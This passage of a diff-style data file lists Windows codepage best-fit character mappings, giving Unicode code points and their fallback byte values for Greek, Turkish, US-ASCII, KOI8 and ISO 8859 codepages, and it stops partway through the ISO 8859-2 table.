+0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0179:5a 017b:5a 017c:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c8:27 02cb:60 02cd:5f 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 037e:3b 0393:47 0398:54 03a3:53 03a6:46 03a9:4f 03b1:61 03b4:64 03b5:65 03c0:70 03c3:73 03c4:74 03c6:66 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2017:3d 2032:27 2035:60 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 207f:6e 2080:30 2081:31 2082:32 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20a7:50 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2212:2d 2215:2f 2216:5c 2217:2a 221a:76 221e:38 2223:7c 2229:6e 2236:3a 223c:7e 2261:3d 2264:3d 2265:3d 2303:5e 2320:28 2321:29 2329:3c 232a:3e 2500:2d 250c:2b 2510:2b 2514:2b 2518:2b 251c:2b 252c:2d 2534:2d 253c:2b 2550:2d 2552:2b 2553:2b 2554:2b 2555:2b 2556:2b 2557:2b 2558:2b 2559:2b 255a:2b 255b:2b 255c:2b 255d:2b 2564:2d 2565:2d 2566:2d 2567:2d 2568:2d 2569:2d 256a:2b 256b:2b 256c:2b 2584:5f 2758:7c 3000:20 3008:3c 3009:3e 301a:5b 301b:5d ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1253  (ANSI - Greek)
+00b4:2f 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 037e:3b 203c:21 2190:3c 2191:5e 2192:3e 2193:76 2194:2d 221f:4c 2500:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2554:2d 255a:4c 255d:2d 2566:54 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263a:4f 263b:4f 263c:30 2640:2b 2642:3e 266a:64 266b:64 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1254  (ANSI - Turkish)
+00dd:59 00fd:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c0:7c 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c7:5e 02c8:27 02cb:60 02cd:5f 02d8:5e 02d9:27 0300:60 0302:5e 0331:5f 0332:5f 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2032:27 2035:60 203c:21 2044:2f 2074:34 2075:35 2076:36 2077:37 2078:38 2081:30 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:50 2119:50 211a:51 211b:52 211c:52 211d:52 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2191:5e 2193:76 2194:2d 2195:7c 21a8:7c 2212:2d 2215:2f 2216:5c 2217:2a 221f:4c 2223:7c 2236:3a 223c:7e 2303:5e 2329:3c 232a:3e 2502:2d 250c:2d 2514:4c 2518:2d 251c:2b 2524:2b 252c:54 2534:2b 253c:2b 2550:3d 2554:2d 255a:4c 255d:2d 2566:54 256c:2b 2580:2d 2584:2d 2588:2d 2591:2d 2592:2d 2593:2d 25ac:2d 25b2:5e 25ba:3e 25c4:3c 25cb:30 25d9:30 263a:4f 263b:4f 263c:30 2640:2b 2642:3e 266a:64 266b:64 2758:7c 3000:20 3008:3c 3009:3e 301a:5b 301b:3d 301d:22 301e:22 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1255  (ANSI - Hebrew)
+0191:46 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1256  (ANSI - Arabic)
+00c0:41 00c2:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00ce:49 00cf:49 00d4:4f 00d9:55 00db:55 00dc:55 0191:46 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1257  (ANSI - Baltic)
+ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+1258  (ANSI/OEM - Viet Nam)
+ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+#INVALID CODEPAGE: 1361
+20127 (US-ASCII)
+00a0:20 00a1:21 00a2:63 00a4:24 00a5:59 00a6:7c 00a9:43 00aa:61 00ab:3c 00ad:2d 00ae:52 00b2:32 00b3:33 00b7:2e 00b8:2c 00b9:31 00ba:6f 00bb:3e 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c6:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e6:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+20261 (T.61)
+f8dd:5c f8de:5e f8df:60 f8e0:7b f8fc:7d f8fd:7e f8fe:7f 
+
+20866 (Russian - KOI8)
+00a7:15 00ab:3c 00ad:2d 00ae:52 00b1:2b 00b6:14 00bb:3e 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 2013:2d 2014:2d 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2026:3a 2030:25 2039:3c 203a:3e 203c:13 2122:54 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 221f:1c 2302:7f 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 
+
+28591 (ISO 8859-1 Latin I)
+0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0191:46 0192:66 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02cb:60 02cd:5f 02dc:7e 0300:60 0302:5e 0303:7e 030e:22 0331:5f 0332:5f 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2018:27 2019:27 201a:2c 201c:22 201d:22 201e:22 2022:2e 2026:2e 2032:27 2035:60 2039:3c 203a:3e 2122:54 ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+28592 (ISO 8859-2 Central Europe)
+00a1:21 00a2:63 00a5:59 00a6:7c 00a9:43 00aa:61 00ab:3c 00ae:52 00b2:32 00b3:33 00b7:2e 00b9:31 00ba:6f 00bb:3e 00c0:41 00c3:41 00c5:41 00c6:41 00c8:45 00ca:45 00cc:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d5:4f 00d8:4f 00d9:55 00db:55 00e0:61 00e3:61 00e5:61 00e6:61 00e8:65 00ea:65 00ec:69 00ef:69 00f1:6e 00f2:6f 00f5:6f 00f8:6f 00f9:75 00fb:75 00ff:79 0100:41 0101:61 0108:43 0109:63 010a:43 010b:63 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 